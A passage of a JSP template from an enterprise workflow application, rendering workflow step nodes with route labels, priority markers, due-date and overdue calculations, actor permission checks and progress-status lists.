                <%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), ((WorkflowProcessor)AutomaticTaskFactory.getInstance(parentStep.getWorkflowAction())).getLabelString(TextUtility.parseInteger(currentStepStep.getParentType().substring(1))))%>
              <%} else if (labelType == -1) {
                  try {
                    List routeList = stepRouteDAO.getListByWorkflowStepID(parentStep.getID());
                    String routeSeq = currentStepStep.getParentType().substring(1);
                    for (int count=0; count<routeList.size(); count++) {
                      WorkflowStepRoute stepRoute = (WorkflowStepRoute) routeList.get(count);
                      if (routeSeq.equals(stepRoute.getRouteSeq().toString())) {
                        out.println(stepRoute.getRouteName());
                      }
                    }
                  } catch (Exception e) {
                    LogFactory.getLog(this.getClass()).error(e, e);
                  }
                } else {%>
                <bean:message key='<%="workflow.label.step_status_"+parentType%>'/>
              <%}
              } else {
                int labelType = WorkflowProcessor.LABEL_TYPE_APPROVAL;
                WorkflowProcessor wfProcessor = null;
                if (parentStep.getWorkflowAction() != null && parentStep.getWorkflowAction().getActionClassName() != null) {
                  wfProcessor = (WorkflowProcessor)AutomaticTaskFactory.getInstance(parentStep.getWorkflowAction());
                  labelType = wfProcessor.getLabelType();
                } else if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(parentStep.getActionType()) ) {
                  labelType = -1;
                } else if (WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(parentStep.getActionType()) ) {
                  labelType = -2;//WorkflowStep.ACTION_TYPE_FORM_DRIVEN
                }

                if (labelType == WorkflowProcessor.LABEL_TYPE_YES_NO) {%>
                <bean:message key='<%="A".equals(parentType) ? "common.label.yes" : "common.label.no"%>'/>
              <%} else if (labelType == WorkflowProcessor.LABEL_TYPE_USER_DEFINE) {
            	  String messages = ((WorkflowProcessor)AutomaticTaskFactory.getInstance(parentStep.getWorkflowAction())).getLabelString(TextUtility.parseInteger(currentStepStep.getParentType().substring(1)));
            	  String labelStr = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), messages);
            	  String local = sessionContainer.getSessionLocale().toString();
            	  boolean bIsResourcePattern = isNoResourcePattern(labelStr, local, messages);
            	  if (bIsResourcePattern) {
            		  labelStr=messages;
            	  }
               %>
                <%=addSpaceSeparatorToDisplay(labelStr,WorkflowStep.STEP_DEFAULT_ROW_UNIT_LENGHT)%>
              <%
/*
                } else if (labelType == -1) {

                  try {
                    List routeList = stepRouteDAO.getListByWorkflowStepID(parentStep.getID());
                    String routeSeq = currentStepStep.getParentType().substring(1);
                    for (int count=0; count<routeList.size(); count++) {
                      WorkflowStepRoute stepRoute = (WorkflowStepRoute) routeList.get(count);
                      if (routeSeq.equals(stepRoute.getRouteSeq().toString())) {
                        out.println(stepRoute.getRouteName());
                      }
                    }
                  } catch (Exception e) {
                    LogFactory.getLog(this.getClass()).error(e, e);
                  }
*/
                } else if(labelType == -2 || labelType == -1){
                  String routeNames = parentStep.getRouteListValue();
                  String routeSeq = currentStepStep.getParentType().substring(1);
                  String[] routeNameArr = TextUtility.splitString(routeNames, "|");
                  out.println(addSpaceSeparatorToDisplay(routeNameArr[Integer.parseInt(routeSeq)],WorkflowStep.STEP_DEFAULT_ROW_UNIT_LENGHT));
                } else {%>
                <bean:message key='<%="workflow.label.step_status_G"%>'/>
              <%}
              }
            } else {
              if (((String)node.getID()).startsWith("A")) {%>
              <bean:message key='workflow.label.step_status_A'/>
            <%}else if(((String)node.getID()).startsWith("R")) {%>
              <bean:message key='workflow.label.step_status_R'/>

            <%}else if(((String)node.getID()).startsWith(WorkflowStep.PARENT_TYPE_YES)) {%>
              <bean:message key='workflow.label.step_status_T'/>
            <%}else if(((String)node.getID()).startsWith(WorkflowStep.PARENT_TYPE_NO)) {%>
              <bean:message key='workflow.label.step_status_F'/>

            <%}else if(((String)node.getID()).startsWith("T")) {%>
              <bean:message key='workflow.label.step_status_G'/>
            <%}else if(((String)node.getID()).startsWith("S")) {%>
              <bean:message key='workflow.label.step_status_S'/>
            <%}
            }

          %>
      <!--  *****  End of Action Type Description  ***** -->
                     </td>
                    </tr>
                  </table>
      <%}
      %>
                  <!-- Start of Node Content -->
                  <!--table width="<%=nodeWidth%>" cellpadding="0" cellspacing="0" border="1" bordercolor="#DD00FF"-->
                  <table width="<%=nodeWidth%>" cellpadding="0" cellspacing="0" border="0">
                    <tr height="<%=isRepeated? 50 : nodeHeight%>">
                      <td width="<%=cellSpacerWidth%>"></td>
                      <td width="<%=(nodeWidth-cellSpacerWidth*2)%>"  align="left" valign="top">
                        <!--  ****************************** -->
                        <!--  *****  Start of Node Content  ***** -->
                        <!--  ***************************** -->
      <%if(currentStep.getID().intValue()<=0){
                if (Utility.isEmpty(parentStep.getActionID()) || (!Utility.isEmpty(parentStep.getActionID()) && !((WorkflowProcessor)AutomaticTaskFactory.getInstance(parentStep.getWorkflowAction())).isLeaf())) {
      %>

      <% // this part use to display the old framework end node  %>
                        <table width="<%=nodeWidth%>" cellpadding="0" cellspacing="0" border="0">
                            <tr height="<%=15%>">
                                <td width="<%=lineCellSpacerWidth-50%>">&nbsp;</td>
                                <td width="<%=lineWidth+100%>" class="<%=getEndNodeColor(node)%>" align="center"><html:img src='IconOpenWorkflow.gif' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.workflow_record_open_end")%>' /></td>
                                <td width="<%=lineCellSpacerWidth-50%>">&nbsp;</td>
                            </tr>
                        </table>
      <%}
      }
      else{//simon_zhuan_page[1513]
          String nodeStyle;
          String routeMsg="";
          //if (currentProgress!=null && !WorkflowProgress.STATUS_PENDING.equals(currentProgress.getStatus()) && currentProgress.getUpdaterID().intValue()==0 && !WorkflowStep.ACTION_TYPE_END.equals(currentStep.getActionType()) && !GlobalConstant.TRUE.equals(currentProgress.getCancelFlag()) ){//sliever.hu.update for bug [5784]
          if (currentProgress!=null && !WorkflowProgress.STATUS_PENDING.equals(currentProgress.getStatus()) && !WorkflowProgress.STATUS_SUBMIT.equals(currentProgress.getStatus()) && currentProgress.getUpdaterID().intValue()==0 && !WorkflowStep.ACTION_TYPE_END.equals(currentStep.getActionType()) && !GlobalConstant.TRUE.equals(currentProgress.getCancelFlag()) ){                                                                                                                                                                                                                                                                                                                    
            nodeStyle = "NodeOverDue";
            Integer routedStep = currentStep.getOnNoResponseNextStepID();
            if (routedStep!=null){
              if (!routedStepList.contains(routedStep)){
                routedStepList.add(routedStep);
              }
              WorkflowStep routeToStep = (WorkflowStep)stepDAO.getObjectByID(routedStep);
              routeMsg = routeToStep.getStepSeq()+"." + routeToStep.getStepName();
            }
          } else {
            nodeStyle = getNodeColor(node);
            isOverDue = false;
          }
      %>
                        <table cellpadding="1" cellspacing="0" border="0" width="100%" <%if(!isRepeated){%>height="100%"<%}%> class="<%=nodeStyle%>">
        <%if(parentNode==null){%>
                          <tr height="<%=20%>">
                            <td class="NodeStart" align="center"><bean:message key='workflow.label.start'/></td>
                          </tr>
        <%}%>
                          <tr>
                           <td width="100%" height='100%' valign='top' >
                             <table cellpadding="0" cellspacing="0" border="0" width="100%" height="100%" class="<%=nodeStyle%>" valign='top' style="table-layout:fixed">
                              <!-- Show step seq no, step name and the priority-->   
                               <wfm:permission  right='*' workflowProgress ='<%=(WorkflowProgress)currentProgress%>' stepID ='<%=(Integer)currentStep.getID()%>'>
                                <tr>
                                <td align="center" class="<%=nodeStyle%>" valign='top'>
        <%
          //* if groupID > 1, then it should be a merge node...
          Integer groupCount =(currentStepStep==null) ? null :  (Integer)mtmGroupMap.get(currentStepStep.getChildStepID()+"_"+currentStepStep.getGroupID());
          String progressPriority = currentStep.getPriority();
          if (currentProgress != null){
            progressPriority = currentProgress.getProgressPriority();
          }
        %>

        <!--Show Priority Icon -->
        <b><font color='red'>
        <%if (GlobalConstant.PRIORITY_HIGH.equals(progressPriority)) { %>
        !!
        <%} else if (GlobalConstant.PRIORITY_MEDIUM.equals(progressPriority)) { %>
        !
        <%} else if (GlobalConstant.PRIORITY_LOW.equals(progressPriority)) { %>
        
        <%} %>
        </font></b>
 
        <%
//simon_add
        	String ModifyStepName=getModifyStepName
(currentStep.getStepName());
 				%>
        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && request.getAttribute("isSetup") != null && request.getAttribute("isCopy") == null) { %>
        <!--<b><a class="<%=nodeStyle%>" href='' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?isPending=<%= request.getAttribute("isPending") != null ? "Y" : "N" %>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%= currentStep.getWorkflowRecordID() %>&workflowStepID=<%=currentStep.getID()%><% if (parentStep != null) { %>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=currentStepStep.getLoopBack()%>&parentType=<%=currentStepStep.getParentType()%><% } %>&isMerge=<%= groupCount!=null && groupCount.intValue()>1 ? ("Y&groupID=" + currentStepStep.getGroupID()) : "N" %>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes")'><%=currentStep.getStepSeq()%>.<%=currentStep.getStepName()%></a></b>-->
        <b><a class="<%=nodeStyle%>" href='' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?navMode=E&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%= currentStep.getWorkflowRecordID() %>&ID=<%=currentStep.getID()%><% if (parentStep != null) { %>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=currentStepStep.getLoopBack()%>&parentType=<%=currentStepStep.getParentType()%><% } %>&groupID=<%=currentStepStep!=null? currentStepStep.getGroupID().toString(): ""%>&isMerge=<%= groupCount!=null && groupCount.intValue()>1 ? "Y": "N" %>&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=no")'><%if (currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO)) {%> <html:img src='IconInfinity.gif' /> <% } else { out.print(currentStep.getStepSeq()+"."); }%><%=ModifyStepName%></a></b>
        <%} else { //simon9%>
        <%int popupHeight=(currentStepProgressList!=null) ? currentStepProgressList.size()*30+250 :250;%>
        <b><a class="<%=nodeStyle%>" href="#" <%if (!Utility.isEmpty(currentStepPermissionTypes) && (currentStepPermissionTypes.indexOf("R") >= 0 ||currentStepPermissionTypes.indexOf("Q") >= 0)) {%> onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&trackID=<%=trackID%>&workflowStepID=<%=currentStep.getID()%>','DCIVisionProgressView',630, 300, 'scrollbars=yes')"<%}%>><%if (currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO)) {%> <html:img src='IconInfinity.gif' /> <% } else { out.print(currentStep.getStepSeq()+"."); }%><%=ModifyStepName%></a></b>
        <%} %>
        <% 
        	nodeStyle="NodeContent";
          if(groupCount!=null && groupCount.intValue()>1){
        %>
        <html:img src='IconTreeMerge.gif'  align='absmiddle'/>
        <%}else if(isRepeated){%>
        	<%if(currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO) && (trackID!=null)){//simon_add3
        	%>
		        <%if(isComplete){%><!--
		        	<%if(((List)completedList1.get()).size() > 0) {%>
<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
			        	<tr>
		              <td colspan='2' class="<%=nodeStyle%>">
		                <bean:message key='workflow.label.action_by_G'/>:
 ccY
		              </td>
		            </tr> 
		            <%for (int loopCnt=0; loopCnt<((List)completedList1.get()).size(); loopCnt++) {
		              MtmWorkflowProgressUserRecord actor1 = (MtmWorkflowProgressUserRecord)((List)completedList1.get()).get(loopCnt);
		            %>
			          <tr>
			            <td colspan='2' class="<%=nodeStyle%>"><b><%=actor1.getUserRecordName()%><br>
			          </tr>
                <%}%>
<%}%>
              <%}else{//end_if(((List)completedList1.get()).size() > 0) {
              %>
								<tr><td colspan='2' align="center" class="<%=nodeStyle%>">
	        				<html:img src='IconTreeLoop.gif'  align='absmiddle'/>
	        			</td></tr>
              <%}%>-->
			        <tr><td colspan='2' align="center" class="<%=nodeStyle%>">
	        			<html:img src='IconTreeLoop.gif'  align='absmiddle'/>
	        		</td></tr>
		        <%}else{//end_if(isComplete){
		        %>
        			<tr><td colspan='2' align="center" class="<%=nodeStyle%>">
	        			<html:img src='IconTreeLoop.gif'  align='absmiddle'/>
	        		</td></tr>
        		<%}%>
        	<%}else{//end_if(currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO) && (trackID!=null)){
        	%>
	        	<tr><td colspan='2' align="center" class="<%=nodeStyle%>">
	        		<html:img src='IconTreeLoop.gif'  align='absmiddle'/>
	        	</td></tr>
        	<%}%>
        <%}
/****************** Uncomment below if you want to display merge icon on parent merge node *********************/
/*        else{
            List idList = Utility.getPropertyList(Collections.list(node.children()),"userObject.ID");
            LogFactory.getLog(this.getClass()).debug(idList);
            for(int j=0;j<idList.size();j++){
              MtmWorkflowStepWorkflowStep step = (MtmWorkflowStepWorkflowStep)((Map)mtmStepMap.get()).get(currentStep.getID()+"_"+idList.get(j));
              groupCount = (step==null) ? null :  (Integer)mtmGroupMap.get(idList.get(j)+"_"+step.getGroupID());
              if(groupCount!=null && groupCount.intValue()>1){
*/      %>              <!--html:img src='IconTreeMerge.gif'  align='absmiddle'/--><%
/*              break;
              }
            }
          }
*/
/****************** Uncomment above if you want to display merge icon on parent merge node *********************/
        %>
                                </td>
                                </tr>
                                <##########>
                                
                                </wfm:permission>
                              
                              <!-- the due date of the task, see if the task is delayed one -->
    <wfm:permission  right='*' workflowProgress ='<%=(WorkflowProgress)currentProgress%>' stepID ='<%=(Integer)currentStep.getID()%>'>                           
<%
         
          nodeStyle="NodeContent";

          if(!isRepeated){//simon_zhuan_page[1497]//44444444444444444444444444444
            if(currentStep.getOnNoResponseAfter()!=null){
              int dayDiff=0;
              int hourDiff=0;
              if(currentProgress!=null){
                String status = currentProgress.getStatus();
                if ((!WorkflowProgress.STATUS_PENDING.equals(status) && currentProgress.getUpdateDate().after(currentStep.getOnNoResponseAfter())) ||
                    (WorkflowProgress.STATUS_PENDING.equals(status)  && Utility.getCurrentTimestamp().after(currentStep.getOnNoResponseAfter()))) {

                  long secDiff = ((WorkflowProgress.STATUS_PENDING.equals(status) ? Utility.getCurrentTimestamp().getTime() : currentProgress.getUpdateDate().getTime()) - currentStep.getOnNoResponseAfter().getTime()) / 1000 ;
                  dayDiff = new Float(((float)secDiff) / 60.0F / 60.0F / 24.0F).intValue();
                  hourDiff = new Float((secDiff - (dayDiff * 60.0F * 60.0F * 24.0F)) / (60.0F * 60.0F)).intValue();
                  isOverDue = true;
                }
              }
%>
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                              <tr>
                                <td align="center" class="<%=nodeStyle%>">
                                  <b>
                                    <bean:message key='workflow.label.due_date'/>&nbsp;:&nbsp;<%//=TextUtility.formatDate(currentStep.getOnNoResponseAfter(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT))%>
                                    <%if(!Utility.isEmpty(currentProgress) && !Utility.isEmpty(currentProgress.getDueDate())){%>
                                      <wfm:dueDate status='<%=((WorkflowProgress)currentProgress).getStatus()%>' dueDate='<%=((WorkflowProgress)currentProgress).getDueDate()%>'/>
                                    <%}else{%>
                                      <%=TextUtility.formatDate(currentStep.getOnNoResponseAfter(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT))%>
                                    <%}%>
                                    <%if(dayDiff>0 || hourDiff>0){%><br><font color="#FF0000"><html:img src='IconWarning.gif'  align='absmiddle'/> (+<bean:message key='workflow.label.delay_short_sentence' arg0='<%= "" + dayDiff %>' arg1='<%= "" + hourDiff %>'/>)</font><%}%>
                                  </b>
                                </td>
                              </tr>
			<%}%>
<%          }else if(currentStep.getOnNoResponseFor()!=null){
              int dayDiff=0;
              int hourDiff=0;
              if(currentProgress!=null){
                String status = currentProgress.getStatus();
                long now = Utility.getCurrentTimestamp().getTime();
                long targetTime = currentProgress.getCreateDate().getTime() + currentStep.getOnNoResponseFor().intValue()*24*60*60*1000;
                long finishTime = WorkflowProgress.STATUS_PENDING.equals(status) ? now : currentProgress.getUpdateDate().getTime();
                if(targetTime < finishTime){
                  long secDiff = (finishTime - targetTime) / 1000 ;
                  dayDiff = new Float(((float)secDiff) / 60.0F / 60.0F / 24.0F).intValue();
                  hourDiff = new Float((secDiff - (dayDiff * 60.0F * 60.0F * 24.0F)) / (60.0F * 60.0F)).intValue();
                  isOverDue = true;
                }
              }
%>
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                              <tr>
                                <td align="center" class="<%=nodeStyle%>">
                                  <b>
                                  <%if(!Utility.isEmpty(currentProgress) && !Utility.isEmpty(currentProgress.getDueDate())){%>
                                    <%=currentProgress.getDueDate().toString().substring(0,16)%>
                                  <%}else {
                                    String workingCalName = "";
                                    if (!Utility.isEmpty(currentStep.getOnNoResponseCalendarID()) && ( new Integer(currentStep.getOnNoResponseCalendarID()).intValue() ) > 0) {
                                      WorkingCalendar workingCal = (WorkingCalendar)workingCalendarDAO.getObjectByID(new Integer(currentStep.getOnNoResponseCalendarID()));
                                      workingCalName = "\"" + workingCal.getWorkingCalendarName() + "\" " ;
                                    }
                                  %>
                                    <bean:message key='workflow.label.due_date'/>&nbsp;:&nbsp;<%=currentStep.getOnNoResponseFor()%>&nbsp;<%=workingCalName%><bean:message key='workflow.label.days_after_task_arrival'/>
                                    <%if(dayDiff>0 || hourDiff>0){%><br><font color="#FF0000"><html:img src='IconWarning.gif'  align='absmiddle'/> (+<bean:message key='workflow.label.delay_short_sentence' arg0='<%= "" + dayDiff %>' arg1='<%= "" + hourDiff %>'/>)</font><%}%>
                                  <%}%>
                                  </b>
                                </td>
                              </tr>
			<%}%>
<%          }else if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals(currentStep.getAllowAssignDueDate()) || WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(currentStep.getAllowAssignDueDate()) ){
%>
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                              <tr>
                                <td align="center" class="<%=nodeStyle%>">
                                  <b>
                                    <bean:message key='workflow.label.due_date'/>&nbsp;:&nbsp;
                                    <%if(!Utility.isEmpty(currentProgress) && !Utility.isEmpty(currentProgress.getDueDate())){%>
                                    <%=currentProgress.getDueDate().toString().substring(0,16)%>
                                    <%}else {%>
                                    <bean:message key='workflow.label.allow_assign_due_date'/><%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(currentStep.getAllowAssignDueDate()) ) {%>[<bean:message key='common.label.mandatory'/>]<%}%>
                                    <%}%>
                                  </b>
                                </td>
                              </tr>
				<%}%>
			<%}


            if(currentProgress==null || WorkflowProgress.STATUS_PENDING.equals(currentProgress.getStatus()) || GlobalConstant.TRUE.equals(currentProgress.getCancelFlag())){
              List actorList = currentStep.getUserActorList();
              List idList = Utility.getPropertyList(actorList,"actorID");

              boolean isActor=false;
              //Integer progressID = TextUtility.parseIntegerObj(request.getParameter("workflowProgressID"));
              if(currentProgress!=null && progressID!=null && progressID.equals(currentProgress.getID())){
                for (int k=0; k<actorList.size(); k++) {
                  String actorType = ((MtmWorkflowStepUserActor)actorList.get(k)).getActorType();

                  if(MtmWorkflowStepUserActor.ACTOR_TYPE_USER.equals(actorType)){
                    isActor=idList.contains(sessionContainer.getUserRecordID());
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP.equals(actorType)){
                	List groupIDList=Utility.getPropertyList(sessionContainer.getPermissionManager().getUserGroups(),"ID");
                  	isActor = Collections.indexOfSubList(idList,groupIDList)>=0;
                    //isActor = Collections.indexOfSubList(idList,sessionContainer.getPermissionManager().getUserGroups())>=0;
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_SUBMITTER.equals(actorType)) {
                    /*****************************************************************
                     *    TO FIX: FIND IF CURRENT USER IS THE SUBMITTER OF THE TRACK  *
                     *****************************************************************/
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO.equals(actorType)) {
                    /***************************************************************************
                     *    TO FIX: FIND IF CURRENT USER IS THE REPORT-TO OF THE TRACK SUBMITTER *
                     ***************************************************************************/
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_PREVIOUS_TASK_OWNER.equals(actorType)) {
                    /***************************************************************************
                     *    TO FIX: FIND IF CURRENT USER IS THE OWNER OF THE PREVIOUS TASK       *
                     ***************************************************************************/
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO_OF_PREVIOUS_TASK_ACTION_TAKER.equals(actorType)) {
                    /******************************************************************************
                     *    TO FIX: FIND IF CURRENT USER IS THE REPORT-TO OF THE OWNER OF PREV TASK *
                     ******************************************************************************/
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_ACTION_TAKER.equals(actorType)) {
                    /******************************************************************************
                     *    TO FIX: FIND IF CURRENT USER IS THE REPORT-TO OF THE ACTION TAKER OF PREVIOUS STEP *
                     ******************************************************************************/
                  }else if(MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE.equals(actorType)){
	                 isActor = Collections.indexOfSubList(idList,sessionContainer.getPermissionManager().getUserRoles())<=0;
                  }
                }

                if(currentProgress!=null){
                  List wholeProgressOnCurrentNodeList = (List)((Map)progressMap.get()).get(((WorkflowStep)node.getUserObject()).getID());
                  if(wholeProgressOnCurrentNodeList!=null&&wholeProgressOnCurrentNodeList.size()>0){
                    WorkflowProgress lastWorkflowProgress = (WorkflowProgress)wholeProgressOnCurrentNodeList.get(wholeProgressOnCurrentNodeList.size()-1);
                    Integer tempProgressID = lastWorkflowProgress.getID();
                    List actorExecList = progressUserRecordDAO.getListByWorkflowProgressID(tempProgressID);
                    for (int k=0; k<actorExecList.size(); k++) {
                      MtmWorkflowProgressUserRecord progressUser = (MtmWorkflowProgressUserRecord) actorExecList.get(k);
                      if (!WorkflowProgress.STATUS_PENDING.equals(progressUser.getWorkflowAction()) &&( sessionContainer.getUserRecordID().equals(progressUser.getUserRecordID())||new Integer(0).equals(progressUser.getUserRecordID())) ) {//Edit by TC for bug-1641
                        isActor = false;
						break;
                      }
                    }
                  }
                }
              }

%>
            <!-- display the proceed button if it is a progress for the user -->
<%if(flag){%>
	<%if(isDisplayTheProceedButton) {%>
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {
  				String showHeaderFooter = request.getAttribute("SHOW_HEADER_FOOTER")==null? "" :(String)request.getAttribute("SHOW_HEADER_FOOTER");
			%>
                              <tr>
                                <td align="center"  class="<%=nodeStyle%>">
                                
                                <%if(isActor){%>
                                <%//sliever.hu.add.start for bug [5777]
                                boolean  ifdynamicUser=true;
                                boolean isAutoTask = WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(currentStep.getActionType());
                                Integer userRecordID=sessionContainer.getUserRecordID();
                                MtmWorkflowDynamicUserActor dynamicUser=new MtmWorkflowDynamicUserActor();
                                if(currentProgress!=null){
                                	List dynamicList = dynamicUserDAO.getListByWorkflowProgressID(currentProgress.getID());
                                	List dynamicidList = Utility.getPropertyList(dynamicList,"actorID");
                                	for(int n=0;n<dynamicList.size();n++){
                                		 String actortype = ((MtmWorkflowStepUserActor)dynamicList.get(n)).getActorType();
                                		 if(MtmWorkflowStepUserActor.ACTOR_TYPE_USER.equals(actortype)){
                                			ifdynamicUser=dynamicidList.contains(sessionContainer.getUserRecordID());
                                			if(ifdynamicUser) {break;}else{continue;}
                                		}
                                		if(MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP.equals(actortype)){
                                			List groupList=Utility.getPropertyList(sessionContainer.getPermissionManager().getUserGroups(),"ID");
                                			ifdynamicUser = Collections.indexOfSubList(dynamicidList,groupList)>=0;
                                			if(ifdynamicUser) {break;}else{continue;}
                                		}if(MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE.equals(actortype)){
                                			List roleList=Utility.getPropertyList(sessionContainer.getPermissionManager().getUserRoles(),"ID");
                                			ifdynamicUser = Collections.indexOfSubList(dynamicidList,roleList)>=0;
                                			if(ifdynamicUser) {break;}else{continue;}
                                        }
                                	   if(MtmWorkflowStepUserActor.ACTOR_TYPE_SUBMITTER.equals(actortype)) {
                                        } 
                                	   if(MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO.equals(actortype)) {
                                        }
                                	   if(MtmWorkflowStepUserActor.ACTOR_TYPE_PREVIOUS_TASK_OWNER.equals(actortype)) {
                                        }
                                	   if(MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO_OF_PREVIOUS_TASK_ACTION_TAKER.equals(actortype)) {
                                        }
                                	   if(MtmWorkflowStepUserActor.ACTOR_TYPE_ACTION_TAKER.equals(actortype)) {
                                        }
                                	}
                                }%>
                                <%if(ifdynamicUser && !isAutoTask) {%>
                                <wfm:permission right='W' workflowProgress="<%=(WorkflowProgress)workflowProgress%>">
                                  <html:standardButton label="workflow.label.proceed" link='<%=request.getContextPath()+"/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER="+showHeaderFooter+"&workflowRecordID="+workflowRecordID+"&ID="+progressID+"&trackID="+trackID+"&navMode=E"%>'/>
                                </wfm:permission>
                                 
                                 <%}%>
                                <%}%>
                                
                                </td>
                              </tr>
			<%}%>
	<%}%>	
<%}%>
                              <!-- display the actor of this task step -->
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                             <!--add by greatwall for bug eip-235-->
                              <%if (!currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO)) {%>
                              <tr>
                                <td class="<%=nodeStyle%>"><bean:message key='workflow.label.actor'/>:</td>
                              </tr>
                              <%}%>
                              <tr valign="top">
                                <td class="<%=nodeStyle%>" valign="top"><b><wfm:ownerInfo stepID="<%=currentStep.getID()%>" nobr="false" showEmail="true" progressID="<%=progressID%>"/>
                                <%if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(currentStep.getActionType())) {%>
                                  <html:img src='IconAuto.gif'  align='absmiddle'/>
                                  <bean:message key='workflow.label.automatic_task'/><br/>
								  <%
								  String actionLable = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),currentStep.getWorkflowAction().getActionLabel());								   
								  if(actionLable.matches("\\?{3}.+\\?{3}")){
								  out.println(currentStep.getWorkflowAction().getActionLabel());
								  }else{
								  %>
                                  <bean:message key='<%=currentStep.getWorkflowAction().getActionLabel()%>'/>
                                <%}} else if (WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(currentStep.getActionType()) ) {%>
                                  <html:img src='IconAuto.gif'  align='absmiddle'/>
                                  [<bean:message key='workflow.label.step_type_F'/>]
                                <%}%>
                    		</b></td>
                			</tr>
                			<tr>
                    			<td class="<%=nodeStyle%>">&nbsp;</td>
                			</tr>
			<%}%>
<%
            }
            if(currentProgress!=null){
              List wholeProgressOnCurrentNodeList = (List)((Map)progressMap.get()).get(((WorkflowStep)node.getUserObject()).getID());
              if(wholeProgressOnCurrentNodeList!=null&&wholeProgressOnCurrentNodeList.size()>0){
                WorkflowProgress lastWorkflowProgress = (WorkflowProgress)wholeProgressOnCurrentNodeList.get(wholeProgressOnCurrentNodeList.size()-1);
                Integer tempProgressID = lastWorkflowProgress.getID();
                List actorExecList = progressUserRecordDAO.getListByWorkflowProgressID(tempProgressID);
                List dynamicActorList = dynamicUserDAO.getListByWorkflowProgressID(tempProgressID);
                List pendingList = new ArrayList(), approvedList = new ArrayList(), submittedList = new ArrayList();
                List yesList = new ArrayList(), noList = new ArrayList();
                List pickupList = new ArrayList(), rejectedList = new ArrayList(), completedList = new ArrayList(), otherList = new ArrayList();

                if(WorkflowProgress.STATUS_LOCK.equals(lastWorkflowProgress.getStatus())){
                  // Special handling for locked progress ( waiting for approval of interrupt request )
                  // In this case, there will be no record in the mtm_wf_progress_user_record (except checkout user)
                  MtmWorkflowProgressUserRecord tmp1 = new MtmWorkflowProgressUserRecord();
                  tmp1.setWorkflowAction ( WorkflowProgress.STATUS_LOCK );
                  tmp1.setUserRecordName ( UserInfoFactory.getUserFullName(lastWorkflowProgress.getUpdaterID()) );
                  actorExecList.clear();   // ignore any checked out user record
                  actorExecList.add ( tmp1 );
                  otherList.add ( tmp1 );
                }else if (!Utility.isEmpty(actorExecList)) {
                  for (int actorCount=0; actorCount<actorExecList.size(); actorCount++) {
                    MtmWorkflowProgressUserRecord tmp1 = (MtmWorkflowProgressUserRecord)actorExecList.get(actorCount);
                    if (WorkflowProgress.STATUS_SUBMIT.equals(tmp1.getWorkflowAction())) {
                      submittedList.add(tmp1);
                    } else if (WorkflowProgress.STATUS_APPROVE.equals(tmp1.getWorkflowAction())) {
                      approvedList.add(tmp1);
                    } else if (WorkflowProgress.STATUS_REJECT.equals(tmp1.getWorkflowAction())) {
                      rejectedList.add(tmp1);

                    } else if (WorkflowProgress.STATUS_YES.equals(tmp1.getWorkflowAction())) {//simon--Y
                      yesList.add(tmp1);
                    } else if (WorkflowProgress.STATUS_NO.equals(tmp1.getWorkflowAction())) {
                      noList.add(tmp1);

                    } else if (WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT.equals(tmp1.getWorkflowAction()) ||
                      (tmp1.getWorkflowAction().length() > 1 && tmp1.getWorkflowAction().startsWith("S") )) {
                      completedList.add(tmp1);
